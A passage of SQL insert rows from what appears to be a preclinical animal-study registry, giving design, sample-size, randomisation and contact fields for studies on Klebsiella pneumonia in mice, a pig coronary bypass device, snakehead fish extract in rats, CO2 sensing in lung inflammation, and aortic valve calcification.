	(8898,238,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8899,238,'primary_readout_parameter','\"- Immune response (cytokine levels in blood and lungs; neutrophil infiltration into the lungs)\\n\\n24 and 42 hours after infection\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8900,238,'secondary_readout_parameter','\"- Bacterial outgrowth \\/ clearance (in lung and distant organs)\\n- Lung pathology (pathology scoring of tissue)\\nAll 24 and 42 hours after infection\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8901,238,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8902,238,'species','\"mouse\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8903,238,'strain','\"C57BL\\/6 mice: TNC-Knock out (constitutive) or TNC-WT\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8904,238,'sex','\"both\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8905,238,'experimental_design','\"Experimental groups consisted of 8 (24-hour time point) or 12 (42-hour time point) mice per genotype. This corresponds to a power of 80%, type I error of 5%, standard deviation of 35% and effect sizes of 50% (24 hours) or 35% (42 hours). Home cages were placed in a random order, which was then used throughout the experiment. Pneumonia was induced by intranasal administration of 104 colony-forming units (CFU) of K. pneumoniae serotype 2 (ATCC 43816) in 50 \\u00b5L sterile isotonic saline as described (Wieland et al., 2006; Wieland et al., 2011). In brief, bacteria were grown for 2-3h to a mid-logarithmic phase at 37\\u00b0C using Tryptic Soy broth, harvested by centrifugation and resuspended in sterile isotonic saline so that 50uL corresponded to 104 CFU. Inoculation was performed under sedation with 2-3% isoflurane in 100% O2 to ensure calm inspiration of the inoculum. Mice were euthanized at 24 or 42 hours after inoculation by intraperitoneal injection of ketamine (125 mg\\/kg) and dexmedetomidine (300 \\u00b5g\\/kg) followed by cardiac puncture. Blood was collected into heparin tubes (Microtainer, BD Biosciences, NJ). Lung, spleen and liver were harvested and homogenized in sterile saline (weight:volume, 1:5) using a tissue homogenizer (Biospec Products, Bastlesville, OK). CFU in organ homogenates and blood were determined from serial dilutions plated on blood agar plates incubated at 37\\u00b0C for 14 hours (Wieland et al., 2011).\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8906,238,'sample_size_calculation','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8907,238,'sample_size_calculation_details','\"power of 80%, type I error of 5%, standard deviation of 35% and effect sizes of 50% (24 hours) or 35% (42 hours). \"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8908,238,'sum_of_animals','\"16 (t24) +24 (t42)  = 40\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8909,238,'study_arms','[{\"type\":\"control\",\"number\":\"8\",\"intervention\":\"TNC-WT mice; Infection with Klebsiella Pneumoniae, sacrificed after 24 hours\"},{\"type\":\"other\",\"number\":\"8\",\"intervention\":\"TNC-KO mice; Infection with Klebsiella Pneumoniae, sacrificed after 24 hours\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"TNC-WT mice; Infection with Klebsiella Pneumoniae, sacrificed after 42 hours\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"TNC-KO mice; Infection with Klebsiella Pneumoniae, sacrificed after 42 hours\"}]','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8910,238,'randomisation','\"yes\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8911,238,'randomisation_method_used','\"other\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8912,238,'other_randomisation_method','\"Home cages were randomized, to ensure mice were infected in a random order (albeit per cage for practical purposes). Sacrifice was performed in the same order.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8913,238,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8914,238,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8915,238,'investigators_blinded_assessment','\"yes_partially\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8916,238,'yes_blinded_assessment_how_details','\"Most outcome measures were quantitative and did not require blinding. However, the pathologist scoring lung tissue on a semi-quantitative scale was blinded for groups (both time and genotype) during assessment of the tissue.\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8917,238,'placebo_controlled','\"not applicable\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8918,238,'application_number','\"Institutional Animal Care and Use Committee of the Academic Medical Center (AMC), University of Amsterdam, identification numbers DIX21-EV-1 and DIX288-BP-1\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8919,238,'link_to_data','\"https:\\/\\/www.frontiersin.org\\/articles\\/10.3389\\/fimmu.2021.600979\\/full \"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8920,238,'has_embargo','\"no\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8921,239,'title','\"ELANA Heart Bypass; a feasibility trial in 16 pigs with 90 days follow-up\"','2022-03-31 13:23:58','2022-03-31 13:23:58'),
	(8922,239,'short_title','\"EHB001\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8923,239,'contact_name','\"Marieke Hoogewerf\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8924,239,'contact_role','\"Study Director\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8925,239,'contact_email','\"m.hoogewerf-2@umcutrecht.nl\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8926,239,'study_centre','[{\"name\":\"AMT Medical Research BV\",\"city\":\"Utrecht\",\"country\":\"NL\"},{\"name\":\"Central laboratory Animal Research Facility (GDL)\",\"city\":\"Utrecht\",\"country\":\"NL\"},{\"name\":\"University Medical Center Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"},{\"name\":\"University Utrecht, faculty of animal medicine\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8927,239,'financial_support','[\"industry\",\"grants\"]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8928,239,'start_date','\"2021-09-01\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8929,239,'end_date','\"2021-12-01\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8930,239,'study_status','\"not_started\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8931,239,'research_field','\"Cardiothoracic Surgery\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8932,239,'hypothesis','\"The objective of this study is to obtain preclinical data to demonstrate feasibility of the ELANA Heart Bypass.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8933,239,'intervention_type','\"surgery\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8934,239,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8935,239,'primary_readout_parameter','\"Proportion of patent anastomoses at the end of the three-month follow-up. \\nA patent anastomosis is defined as;\\n-\\tAdequate run-off per coronary angiography, as stated by two individual investigators according to the protocol \\nAND\\n-\\tAdequate anastomotic opening in histology analyses as stated by two individual investigators, according to the protocol\\n\"','2022-03-31 13:23:59','2022-03-31 13:24:00'),
	(8936,239,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8937,239,'species','\"pig\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8938,239,'sex','\"female\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8939,239,'experimental_design','\"Experimental translational porcine follow-up study. This study is designed to evaluate feasibility, per mid-term patency, of the ELANA Heart Bypass. The ELANA Heart Bypass is evaluated in off-pump CABG, IMA-LAD position. Access for the anastomotic procedure is via left thoracotomy (in N = 8) or sternotomy (in N = 8). \"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8940,239,'sample_size_calculation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8941,239,'sample_size_calculation_details','\"This study is designed as a preclinical evaluation with the primary outcome being patency at the end of three months follow-up. GPower Version 3.1.9.4 (Universit\\u00e4t Kiel, Germany) was used to calculate a powered study (2-sided ; \\u03b1 = 0.05 ; 1-\\u03b2 80% ; \\u0257 1.08) (22). The effect size (n1 100; n2 90; SD 9.25) is based on the set non-inferiority margin of 10%. The researchers do expect the 10% to cover eventual drawbacks from device design and learning curve effects. Hence, the current study includes prototype devices (ELANA Fixation Device and ELANA Coronary Applicator) and a minimal learning curve that is expected especially in the surgical access via thoracotomy. This results in a number of N = 15 animals. One pig is added to the original calculated sample in order to equal both access methods, thoracotomy (N = 8) and sternotomy (N = 8).\\n\\nPrevious trials on new coronary devices included 4 to 12 pigs per evaluation group, corrected for the described drop-out which is reported up to 20% (23-25). Therefore, we expect N = 19 (N = 16 + N = 3 in case of drop-out) pigs to receive the ELANA Heart Bypass in this trial.  \"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8942,239,'sum_of_animals','\"N = 16\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8943,239,'study_arms','[{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"ELANA Heart Bypass\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8944,239,'randomisation','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8945,239,'why_no_randomisation','\"Single-arm, towards a set clinical reference.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8946,239,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8947,239,'investigators_blinded_assessment','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8948,239,'placebo_controlled','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8949,239,'application_number','\"AVD1150020185105\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8950,239,'has_embargo','\"no\"','2022-03-31 13:23:59','2022-03-31 13:24:00'),
	(8951,240,'title','\"The effect of snakehead fish extract on acute wound healing process in hyperglycemic rats\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8952,240,'contact_name','\"Caroline Prisilia Marsella\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8953,240,'contact_role','\"researcher\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8954,240,'contact_email','\"cp.marsella@yahoo.com\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8955,240,'study_centre','[{\"name\":\"Hasanuddin University\",\"city\":\"Makassar\",\"country\":\"ID\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8956,240,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8957,240,'start_date','\"2021-04-01\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8958,240,'end_date','\"2021-05-01\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8959,240,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8960,240,'research_field','\"Nutrition\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8961,240,'hypothesis','\"Snakehead fish are commonly found in Indonesia and currently the extract has been used as part of therapy for wound healing. Snakehead fish extract contains high albumin, protein, and micronutrients (refer to Fauzan MR et al 2020 and Wijaya I et al, 2020)  which can support the wound healing process and reduce the inflammatory response. Various studies have used snakehead fish extract and get different results. there is still very limited research on hyperglycemic animals. Therefore, animal studies were carried out through homogenization of wound size, food, and body composition to determine the effect of snakehead fish extract. \\nStudies on hyperglycemic animal wounds are limited then without proper treatment, hyperglycemia conditions can cause prolonged wound healing (refer to Cheng KY et al, 2018).\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8962,240,'intervention_type','\"compound\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8963,240,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8964,240,'primary_readout_parameter','\"efficacy based on histology of wound healing process in hyperglycemic rats\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8965,240,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8966,240,'species','\"rat\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8967,240,'strain','\"Wistar rat (Rattus sp)\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8968,240,'sex','\"male\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8969,240,'sample_size_calculation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8970,240,'experimental_design','\"First : Habituation procedure\\nAll rats is kept in pathogen-free conditions and adapted to laboratory conditions for 1 week with normal feeding with ADII Comfeed and given a light cycle of 12 hours of darkness and 12 hours of light. White rats is housed in plastic cages (five rats per cage), kept in standard conditions at room temperature (22 \\u00b1 2 \\u00b0 C), with free access to food and water.\\n\\nSecond : Intervention group will be given snakehead fish extract (Pujimin Plus\\u00ae 750 mg each capsule) at a dose of suspension 81 mg\\/day by feeding tube for 3 days. On the other hand,  Control group will be given Na CMC solution as a placebo. Hyperglycemia induction will be performed by using Streptozotocin 8.5 mg intraperitoneally. Random blood glucose targets &gt; 200 mg\\/dL is checked 24 hours after streptozotocin induction to confirm hyperglycemia. \\n\\nThird : Prior to the wound procedure, the dorsal hair will be cleaned using hair remover gel then disinfected using alcohol 70% swab and then allowed to dry. The rats will be anesthetized with ketamine at a dose of 80-100mg\\/kg intraperitoneally.\\nWound procedures will be performed on the dorsal aspect of the rats using a punch biopsy with a diameter of 8 mm.\\n\\nAfter wound procedure, the intervention group will be given snakehead fish extract at a dose of 81 mg\\/day via feeding tube for the next 10 days and the control group will be given Na CMC solution as a placebo. Sampling will be carried out from 5 rats (sacrifice) each group on day 0, day 3, and day 10 after wound procedure.\\n\\nThe rats will be sacrificed using high-dose isoflurane inhalation (0.05 \\u00b5g\\/kg\\/day) by placing the rat in a jar \\/ box and waiting for 5-10 minutes. The rats are buried after taking blood and tissue samples.\\n\\nThe last : \\nThe process of taking wound tissue through excision of the skin with a scapel number 20 at a distance of 1.5 cm from all edges of the wound. Tissue samples are stored in a container containing neutral buffered formalin 10% then transported to Anatomical Pathology Laboratory of the Hasanuddin University Hospital for histological examination including neutrophil, vascular, and fibroblasts analysis. \\nPhoto documention of wounds were taken on day 0, 3, 5, 7, 10.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8971,240,'sum_of_animals','\"Using Federer\'s Formula  (Federer WT. Experimental design, theory, and application, 1967)\\n\\nAccording to \'n\' is more than or equals to 4, we performed sacrifices for 5 rats each group in day 0, 3, and 10.\\n(5 tissue samples in day 0, day 3, dan day 10 in each group).\\nSo we prepared 30 rats (15 rats for control groups and 15 rats for intervention groups).\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8972,240,'study_arms','[{\"type\":\"control\",\"number\":\"15\",\"intervention\":\"NaCMC as placebo\"},{\"type\":\"intervention\",\"number\":\"15\",\"intervention\":\"Snake-head fish extract per oral\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8973,240,'randomisation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8974,240,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8975,240,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8976,240,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8977,240,'investigators_blinded_assessment','\"yes_partially\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8978,240,'yes_blinded_assessment_how_details','\"The tissue samples and blood samples were collected then send to laboratory (blinded analysis in laboratory) \"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8979,240,'placebo_controlled','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8980,240,'original_animal_ethics_committee_application','\"med.unhas.ac.id\\/simkepkes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8981,240,'application_number','\"209\\/UN4.6.4.5.31\\/PP36\\/2021\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8982,240,'has_embargo','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8983,241,'title','\"Investigating ubiquitin as a carbon dioxide sensor in lung inflammation.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8984,241,'contact_name','\"Claire Masterson\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8985,241,'contact_role','\"Project Manager, Licence holder, User\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8986,241,'contact_email','\"claire.masterson@nuigalway.ie\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8987,241,'study_centre','[{\"name\":\"National University of Ireland Galway\",\"city\":\"Galway\",\"country\":\"IE\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8988,241,'financial_support','[\"grants\"]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8989,241,'start_date','\"2021-07-01\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8990,241,'end_date','\"2022-07-31\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8991,241,'study_status','\"not_started\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8992,241,'research_field','\"Respiratory\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8993,241,'hypothesis','\"Overall objective: to demonstrate that carbon dioxide interacts with the ubiquitin protein in vivo, and that this confers the anti-inflammatory effects of carbon dioxide in ARDS.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8994,241,'intervention_type','\"compound\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8995,241,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8996,241,'primary_readout_parameter','\"Our expected outcome is that the normal benefits seen with hypercapnia in ARDS will be diminished through the mutant ubiquitin\\u2019s inhibited propensity to be affected by carbon dioxide.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8997,241,'exclusive_animal_use','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8998,241,'no_exclusive_animal_use_details','\"Preliminary experiments have established the efficacy of the viral vectors employed, and their ability to alter lung epithelial cell inflammation suppression by carbon dioxide. As the in vitro aspect of the project is currently underway there isn\\u2019t a substantial amount of preliminary in vitro data to present. What we know and what we have based this study on stems from separate studies from our own research and others. This includes cell based assays to determine ubiquitin carboxyethyl modification which has shown that this occurs at K33 and K48, that this modification is CO2 dependent, and CO2 inhibits ubiquitin discharge from E2 Ligase. Further to this the role of K48 in CO2 sensing in pulmonary epithelial cells has been reported by our collaborator group in Durham, UK. The reduction of inflammatory responses after stimulation of these cells, mediated by CO2 action on the NF\\u03baB pathway was diminished with the introduction of a K48 mutant. Before the commencement of the in vivo section of this project we will have the remaining data from further in vitro pulmonary models of inflammation with lentiviral transduction of wildtype and mutant ubiquitin to ascertain CO2 effects in vitro. \"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(8999,241,'species','\"mouse\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9000,241,'strain','\"C57BL\\/6\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9001,241,'sex','\"male\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9002,241,'experimental_design','\"Series 1. Renal buffering pilot [20 mice]\\nObjective: Validation and baselining of renal buffering model.\\nHypercapnia has an associated acidosis, which we do not want to interfere with the specific effects of carbon dioxide. Housing in increased carbon dioxide causes bicarbonate release from the kidney, i.e. renal buffering, which returns the animal to normal pH over a period of days while retaining a high carbon dioxide concentration in the tissue. This is a piloting series to ensure the strain and supplier animals buffer correctly and the procedure is suitable for carrying forward to the rest of the project.\\nWe will use 10 mice per group in a two-group experiment. 10 mice (Group I: 5% CO2 group) will be subjected to housing in a sealed, humidified box connected to a gas supply 5% CO2 in air. Control animals (Group II: Room Air group) are housed normally for 72hrs. \\nAnimals all proceed to Procedure 3 - ARDS injury and assessment to ensure buffering has been successful.\\n\\nSeries 2. Viral vector pilot [20 mice]\\nObjective: Determining optimal dose of viral vector for lung ubiquitin expression.\\nThis procedure generates expression of the ubiquitin mutants in the animal lungs that will confer differential responses to carbon dioxide. Lentiviral vectors are vehicles for gene delivery that are defective for replication, and thus considered relatively safe, but are capable of stably integrating into the genomic DNA of a broad range of dividing and nondividing mammalian cell types. We will use 5 mice per group in a 4-group experiment: (I) PBS Vehicle IT, (II) 2x108 Viral particles IT, (III) 4x108 Viral particles IT, (IV) 8x108 Viral particles IT.\\nAnimals all proceed to Procedure 3 - ARDS injury and assessment to determine ubiquitin protein production in vivo.\\n\\nSeries 3. Viral vector and renal buffering [200 mice]\\nObjective: To express ubiquitin mutant protein in the lungs of renally buffered animals.\\nAfter establishment of renal buffering and the optimal viral load, animals will be randomised to receive different ubiquitin mutant-expressing viral vectors. This will be a 10 group experiment with 20 mice per group; (i) Empty virus, room air, (II) Ub WT virus Room Air, (III) Ub M1 virus Room Air, (IV) Ub M2 virus Room Air, (V) Ub M3 virus Room Air, (VI) EV virus 5% CO2, (VII) Ub WT virus 5% CO2, (VIII) Ub M1 virus 5% CO2,  (IX) Ub M2 virus 5% CO2, (X) Ub M3 virus 5% CO2.\\nAnimals all proceed to Procedure 3\\n\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9003,241,'sample_size_calculation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9004,241,'sample_size_calculation_details','\"Series 1: Renal Buffering Pilot\\nBased on previous renal buffering experiment from our group using rats we know that it takes 72hours for pH levels to return to normal and pCO2 levels to remain high. We do not know if this will be true for mice. The change we want to show in blood pCO2 levels is an increase from 36mmHg to approximately 60mmHg (+\\/- 12mmHg) - a clinically relevant level of moderate hypercapnia. The signal to noise ratio from this would render a group size (in accordance with guidelines given at http:\\/\\/www.3rs-reduction.co.uk\\/) of 10 for 90% power. As we have performed these experiments previously in rats (Laffey, 2004; Higgins, 2009) we do not foresee any major difficulties.\\n \\nSeries 2: Viral Vector Piloting\\nBased on previous experiment in our lab whereby viral vectors were administered to rodent models we have chosen a dose escalation design for our viral vector piloting based on a median dose of 4x108 particles. As we do not have a measurement of expression levels established yet for this we cannot use the signal to noise ration equation and will instead use the resource equation method which is an estimate of series group sizes based on the total number of animals and the number of treatment groups. This should fall between 10 and 20. For this series 20 animals -5 groups = 15 in agreement with the Estimate.\\n\\nSeries 3: Viral Vector with Renal Buffering\\nThe objective of this series to establish the mutant ubiquitin which will remove CO2 sensitivity in the animal model. Parameters associated with positive effects of CO2 in ARDS will be diminished. This includes a reduction in NF\\u03baB controlled inflammatory cytokine production.\\nThe expected levels of the most potently increased cytokine CINC-1 (equivalent to human IL-8) as detected by ELISA of BAL fluids in animals will be from &lt;50pg\\/mL (Sham) to 300pg\\/mL (ARDS, +\\/- 120pg\\/mL) based on previous rodent studies in our group. A reduction of 150pg\\/mL would be considered significant. These figures result in a signal to noise ratio of 1.25 which for 90% power requires a group size of 19. Given the uncertainty of this level in mice, we have decided on a group size of 20.\\n\\n\\n\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9005,241,'sum_of_animals','\"Total mice 240 + 4% procedure 2 and 5% procedure 3 = 261 mice\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9006,241,'study_arms','[{\"type\":\"control\",\"number\":\"1\",\"intervention\":\"CO2 Exposure\"},{\"type\":\"control\",\"number\":\"2\",\"intervention\":\"Virus administration\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"CO2 exposure to mice who received virus\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9007,241,'randomisation','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9008,241,'why_no_randomisation','\"Animals are group housed and as to minimise distress and handling they will be exposed to CO2 without disturbing them. cages will be randomised but individual animals will not. for viral administration animals will be randomised to receive different doses.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9009,241,'randomisation_method_used','\"other\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9010,241,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9011,241,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9012,241,'yes_blinded_intervention_partially_details','\"Researcher prepares virus, not involved in animal studies otherwise, user receives numbered tubes and is blinded to contents\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9013,241,'investigators_blinded_assessment','\"yes_partially\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9014,241,'yes_blinded_assessment_how_details','\"They will not know what treatment the animals received but as they are involved in all aspects of care and analysis it will be impossible to be completely blinded\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9015,241,'placebo_controlled','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9016,241,'has_embargo','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9017,185,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9018,242,'title','\"To elucidate the mechanical and cellular regulation of SIT and calcification formation in aortic stenosis\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9019,242,'study_centre','[{\"name\":\"LUMC\",\"city\":\"Leiden\",\"country\":\"NL\"}]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9020,242,'financial_support','[\"grants\"]','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9021,242,'start_date','\"2022-01-01\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9022,242,'end_date','\"2027-01-01\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9023,242,'study_status','\"not_started\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9024,242,'research_field','\"Cardiology\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9025,242,'intervention_type','\"other\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9026,242,'short_title','\"pathophysiology of aortic valve disease\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9027,242,'contact_name','\"Boudewijn Kruithof\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9028,242,'contact_role','\"executive researcher\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9029,242,'contact_email','\"b.p.t.kruithof@lumc.nl\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9030,242,'hypothesis','\"To unravel the biomolecular mechanisms underlying superimposed tissue formation and calcification in aortic stenosis,\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9031,242,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9032,242,'other_intervention_type','\"ex vivo heart culture\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9033,242,'primary_readout_parameter','\"Superimposed tissue and calcification will measured after 7 days of culture\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9034,242,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9035,242,'species','\"mouse\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9036,242,'strain','\"C57\\/BL6, with and without genetic lineage tracing of several valvular cells using cre-lox system with the membrane Tomato-membrane GFP (mTmG) reporter line under the control of the following Cre\'s: VE-cadherin-creERT2, Col1a2-creERT2, LysM-cre, Wnt1-cre, Tnnt2-cre.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9037,242,'sex','\"both\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9038,242,'experimental_design','\"The mouse hearts will be isolated and cultured ex vivo in the miniature tissue culture system in a continuous closed position, open position or using a pulsatile flow under calcifying and non-calcifying conditions. The aortic valve will be exposed to different flow-speeds, pressures and pulsatility settings. \"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9039,242,'sample_size_calculation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9040,242,'sample_size_calculation_details','\"For each experimental condition we will use 10 adult mice. This is based on the effect size calculated on the results of the measurements made in previous experiments of similar parameters and using a reliability of 0.05 (a err prob), a power of 0.80 and allocation ratio of 1. This showed that a group size of 9 is necessary. A failure rate of 10% is expected during the experiments. We therefore assume that 10 hearts per group are sufficient for the heart culture to make a statement after histological analysis on the effect of each experimental condition. The numbers described below are maximums. If during the analysis of performed experiments certain proposed conditions of planned experiments are unlikely to result in new insights, then these experiments will be cancelled. \"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9041,242,'secondary_readout_parameter','\"fate of lineage-traced cells\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9042,242,'sum_of_animals','\"maximum 540-54 (dropout)= 486 mice will be used.\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9043,242,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9044,242,'investigators_blinded_assessment','\"no\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9045,242,'randomisation','\"yes\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9046,242,'why_no_randomisation','\"Animals \"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9047,242,'randomisation_method_used','\"coin-toss\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
	(9048,242,'placebo_controlled','\"not applicable\"','2022-03-31 13:23:59','2022-03-31 13:23:59'),
